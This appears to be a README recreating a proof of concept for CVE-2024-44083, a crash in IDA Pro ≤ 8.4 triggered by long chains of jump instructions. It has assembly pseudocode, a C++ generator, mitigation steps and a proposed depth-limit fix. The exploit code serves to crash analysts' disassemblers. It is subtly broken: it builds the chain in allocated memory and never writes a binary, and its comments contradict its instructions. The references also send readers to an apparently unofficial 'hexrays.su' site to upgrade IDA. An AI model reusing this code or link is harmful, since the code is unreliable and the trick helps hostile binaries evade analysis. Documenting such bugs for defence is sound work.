CVE-2024-44083

the original PoC repos got deleted (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) so here it is. figured id recreate it for anyone who wants to understand how it works or test their setup.

IDA Pro ≤ 8.4 crashes when analyzing binaries with excessive jump chains.

the bug

ida64.dll doesnt limit how deep it goes when following jump chains. so if you have a binary with thousands of linked jumps ending at the entry point and IDA just kills itself

field	value
CVE	CVE-2024-44083
affected	IDA Pro ≤ 8.4
component	ida64.dll
CWE	CWE-770 (resource exhaustion)
impact	crash (DoS)

how it works

the idea is simple, make a section full of jumps that keep jumping to more jumps

; pseudocode obviously

section .text

; thousands of these
jump_0:
    jmp jump_1
jump_1:
    jmp jump_2
jump_2:
    jmp jump_3
; ... keep going ...
jump_9999:
    jmp payload

payload:
    call _start    ; this creates the cross-reference that breaks things

_start:
    ; IDA tries to resolve all the jumps pointing here
    ; boom crash
    ret

IDA tries to follow and track all these jumps building cross-references and with enough of them it just gives up and crashes

doing it yourself (example)

if you wanted to make something like this in c++ youd do something like:

#include <windows.h>
#include <cstring>

// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
    // allocate executable memory for our jump chain
    unsigned char* code = (unsigned char*)VirtualAlloc(
        NULL,
        10000 * 5 + 10,  // 10,000 jumps × 5 bytes + some extra
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!code) return;
    
    int offset = 0;
    
    // create 10,000 chained jumps
    for (int i = 0; i < 10000; i++) {
        // write JMP rel32 instruction (E9 xx xx xx xx)
        code[offset] = 0xE9;  // JMP opcode
        
        // calculate relative offset to next jump (5 bytes ahead)
        int32_t rel = 5;
        
        // copy the 4-byte relative offset
        memcpy(&code[offset + 1], &rel, 4);
        
        offset += 5;
    }
    
    // last jump creates circular reference
    // jump back 5 bytes to create infinite loop
    code[offset] = 0xE9;
    int32_t rel = -5;
    memcpy(&code[offset + 1], &rel, 4);
    
    // you can also return a value to make it believeable
    offset += 5;
    code[offset] = 0xC3;  // ret
    
    // this is the pattern that crashes IDA:
    // 10,000 jumps → self-referential jump → IDA gets stuck
    // no depth limit in recursion → stack overflow → crash
    
    // cleanup
    VirtualFree(code, 0, MEM_RELEASE);
}

basically youre just writing a bunch of JMP instructions chained together. when IDA tries to be smart about analyzing it, it runs out of stack/memory

the fix

if youre stuck on older IDA:

1. disable auto-analysis before opening sketchy files

   • click the yellow/green circle in the toolbar to toggle it off
   • or Options → General → Analysis → uncheck "Enabled"
   • look around manually first then re-enable if it seems safe

2. limit analysis on suspicious sections

   • right click the section → Edit segment
   • change segment type or permissions to prevent code analysis
   • or just delete the segment entirely if you dont need it

what hex-rays should do:

// pseudocode

#define MAX_JUMP_DEPTH 1000

void analyze_jumps(address_t addr, int depth) {
    if (depth > MAX_JUMP_DEPTH) {
        warn("jump chain too deep. fail.");
        return;  // dont crash just stop
    }
    
    address_t target = get_jump_target(addr);
    if (target) {
        analyze_jumps(target, depth + 1);
    }
}

literally just add a depth limit thats it.

references

• NVD
• hexrays.su <-- to ugprade your ida

disclaimer

for educational purposes only dont be a dick